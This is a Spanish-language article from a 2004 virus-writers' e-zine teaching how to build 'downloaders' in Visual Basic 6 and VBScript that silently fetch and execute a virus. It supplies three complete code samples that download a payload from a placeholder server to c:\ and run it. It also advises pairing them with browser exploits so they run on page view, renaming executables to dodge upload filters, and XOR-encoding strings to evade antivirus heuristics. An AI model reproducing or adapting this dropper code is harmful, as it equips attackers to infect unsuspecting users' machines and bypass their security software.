(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema          : DownLoaders en VB y VBS
Autor         : MachineDramon
Válido para   : Microsoft Visual Basic 6.0 y VBScript

Un Downloader es un programa que baja y ejecuta otro programa o archivo

En este caso  un  programa que  bajara  el virus, en algunas ocaciones podriamos
usarlo, por  ejemplo si  nuestro virus se  propaga al  ver  una  page  infectada 
mediante  una vulnerabilidad de IE y suponiendo que nuestro virus es de 100kb en
algunas pcs demoraria  en  descargarse  y tal vez el user cierre la pagina antes
que descargue completamente o pueda sospechar algo.

Mejor seria descargar  y ejecutar mediante la vulnerabilidad un pequeño programa
que descargue y ejecute nuestro virus.

Un Downloader debe  ser  lo  mas pequeño posible, lo ideal seria hacerlo en asm,
porque seria bastante pequeño.

El articulo  no  trata  de explicar vulnerabilidades, para  que  se ejecuten los
downloaders  al ver una pagina  o algo asi, deberan  ser  combinados  con alguna 
vulnerabilidad.


En VB para Win98 en adelante:
------------------------------
Usaremos la api URLDownloadToFile, esta api tiene el inconveniente  de que si el
user tiene  instalado  un gestor de  descarga(Download Accelerator, GetRight) le
aparecera el dialogo  de  aceptar la descarga y el downloader no podra actuar de
forma oculta. Pero como son muchas(la mayoria) las pc que no tienen nada de esto
nos servira el programa.
Nos permite bajar toda clase de archivos como exe, com, pif, vbs, etc

***************************************************************************
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

'-------------------------------------------------------------------------------

'Declaramos wsl como object
Dim wsl As Object

Private Sub Form_Load()

'El Resumidor de errores y si existe ya el archivo "c:\v.exe" lo borramos
On Error Resume Next
Kill "c:\v.exe"

'Creamos el objeto "WScript.Shell"
Set wsl = CreateObject("WScript.Shell")

'Aqui llamamos a la funcion DowFile pasandole como argumentos
'la url donde esta el virus y la ubicacion donde queremos guardarlo
'devolvera true si no hay error y false en caso contrario
'Si el server donde esta nuestra page no nos deja subir .exe, coloquemosle
'la extencion .bin ->"http://www.myserver.com/myvirus.bin"
bd = DowFile("http://www.myserver.com/myvirus.exe", "c:\v.exe")

'Si bd = true ejecutamos el exe que acabamos de bajar
If bd = True Then wsl.run "c:\v.exe"
End Sub

'-----------------------------------------------------------------------

'Esta es la funcion que descargara el virus
Function DowFile(BURL As String, BPath As String) As Boolean
On Error Resume Next: Dim lngRetVal As Long

'URLDowloadToFile nos devolvera 0 si no hay error
lngRetVal = URLDownloadToFile(0, BURL, BPath, 0, 0)

'si lngRetVal es 0, no hay error y la funcion devuelve true, sino false
DowFile = IIf(lngRetVal = 0, True, False)
End Function

'-----------------------------------------------------------------------

'Recomendado encriptar las cadenas o strings del codigo con alguna funcion
'de encriptacion, para evitar la heuristica de los avs, por ejemplo esta:
Function q(j)
On Error Resume Next
For R = 1 To Len(j)
q = q & Chr(Asc(Mid(j, R, 1)) Xor 7)
Next
End Function
***************************************************************************

En VBS para Win98 en adelante:
-------------------------------
Solo nos permite bajar archivos de texto: vbs, htm, txt
Usaremos el objeto Microsoft.XMLHTTP


***************************************************************************
Sub Main()

'Resumidor de errores y creamos el objeto WScript.Shell
On Error Resume Next
Set wsl = CreateObject("WScript.Shell")

'llamamos a la funcion DowloadFileText y le pasamos la url donde esta el
'virus y donde queremos guardarlo, devolvera true si no hay error y false
'en caso contrario
'Si el server donde tenemos nuestra page no nos deja subir vbs, lo subimos
'como txt -> "http://www.myserver.com/myvirus.txt"
bd = DowloadFileText("http://www.myserver.com/myvirus.vbs","c:\v.vbs")

'Si bd = true, ejecutamos el virus
If bd = True Then wsl.run "c:\v.vbs"
End Sub

'------------------------------------------------------------------------

'Esta es la funcion que bajara el virus
Function DowloadFileText(Url,Path)

'Resumidor de errores y limpio la "lista" de errores por si a habido alguno
'antes
On Error Resume Next: Err.Clear

'Creamos el objeto Microsoft.XMLHTTP y el Scripting.FileSystemObject
Set xml = CreateObject("Microsoft.XMLHTTP")
Set fso = CreateObject("Scripting.FileSystemObject")

'Abrimos conexcion a la Url indicada y enviamos una solicitud GET
'osea que nos mande lo que haya en esa url, en este caso un txt o vbs
xml.Open "GET", Url, False
xml.Send

'Almacenamos en Rsp el contenido de la Url que nos envio el server
Rsp = xml.ResponseText

'Escribimos el contenido en el Path(ruta) indicada
Set Nw = fso.CreateTextFile(Path)
Nw.write Rsp
Nw.Close

'Si error devuelve false, sino true
If Err Then DownloadFileText = False Else DowloadFileText = True
End Function

'------------------------------------------------------------------------

'Recomendado encriptar las cadenas o strings del codigo con alguna funcion
'de encriptacion, para evitar la heuristica de los avs, por ejemplo esta:
Function q(j)
On Error Resume Next
For R = 1 To Len(j): q = q & Chr(Asc(Mid(j, R, 1)) Xor 7): Next
End Function
***************************************************************************

En VBS para Win2000, XP, 2003:
-------------------------------
A diferencia de la anterior si podremos bajar y ejecutar exe, com, pif,etc
Usaremos el objeto ADODB.Stream y Microsoft.XMLHTTP


***************************************************************************
Sub Main()

'Resumidor de errores y creamos el objeto WScript.Shell
On Error Resume Next
Set wsl = CreateObject("WScript.Shell")

'llamamos a la funcion DowloadFile y le pasamos la url donde esta el
'virus y donde queremos guardarlo, devolvera true si no hay error y false
'en caso contrario
'Si el server donde tenemos nuestra page no nos deja subir exe, lo subimos
'como bin -> "http://www.myserver.com/myvirus.bin"
bd = DowloadFile("http://www.myserver.com/myvirus.exe","c:\v.exe")

'Si bd = true, ejecutamos el virus
If bd = True Then wsl.run "c:\v.exe"
End Sub

'------------------------------------------------------------------------

'Esta es la funcion que bajara el virus
Function DowloadFile(Url,Path)

'Resumidor de errores y limpio la "lista" de errores por si a habido alguno
'antes
On Error Resume Next: Err.Clear

'Creamos el objeto Microsoft.XMLHTTP y el ADODB.Stream
Set xml = CreateObject("Microsoft.XMLHTTP")
Set ads = CreateObject("ADODB.Stream")

'Abrimos conexcion a la Url indicada y enviamos una solicitud GET
'osea que nos mande lo que haya en esa url, en este caso un exe o bin
xml.Open "GET", Url, False
xml.Send

'Aqui seleccionamos los modos necesarios para escribir el archivo del virus
'en el disco, ubiera querido poner algo mas detallado, pero microsoft
'quito o cambio la direc de la explicacion del ADODB.Stream y no la
'encuentro

'Selecionamos el modo de lectura y escritura osea el modo 3
ads.Mode = 3

'Selecionamos el Typo 1 osea que el archivo con el que se va a tratar es un
'archivo binario, como exe, com
ads.Type = 1

'Abrimos el archivo
ads.Open

'Escribimos en él, lo que nos envio el server como contenido de la Url
ads.Write(xml.ResponseBody)

'Lo guardamos en el Path(ruta) indicado, el parametro 2 es para si no existe
'lo cree(justo lo que queremos en este caso) y si existe lo sobreescriba
ads.SaveToFile(Path,2)

'Si error devuelve false, sino true
If Err Then DownloadFile = False Else DowloadFile = True
End Function


'------------------------------------------------------------------------

'Recomendado encriptar las cadenas o strings del codigo con alguna funcion
'de encriptacion, para evitar la heuristica de los avs, por ejemplo esta:
Function q(j)
On Error Resume Next
For R = 1 To Len(j): q = q & Chr(Asc(Mid(j, R, 1)) Xor 7): Next
End Function
***************************************************************************

(C) MITOSIS #2 E-Zine/GEDZAC 2004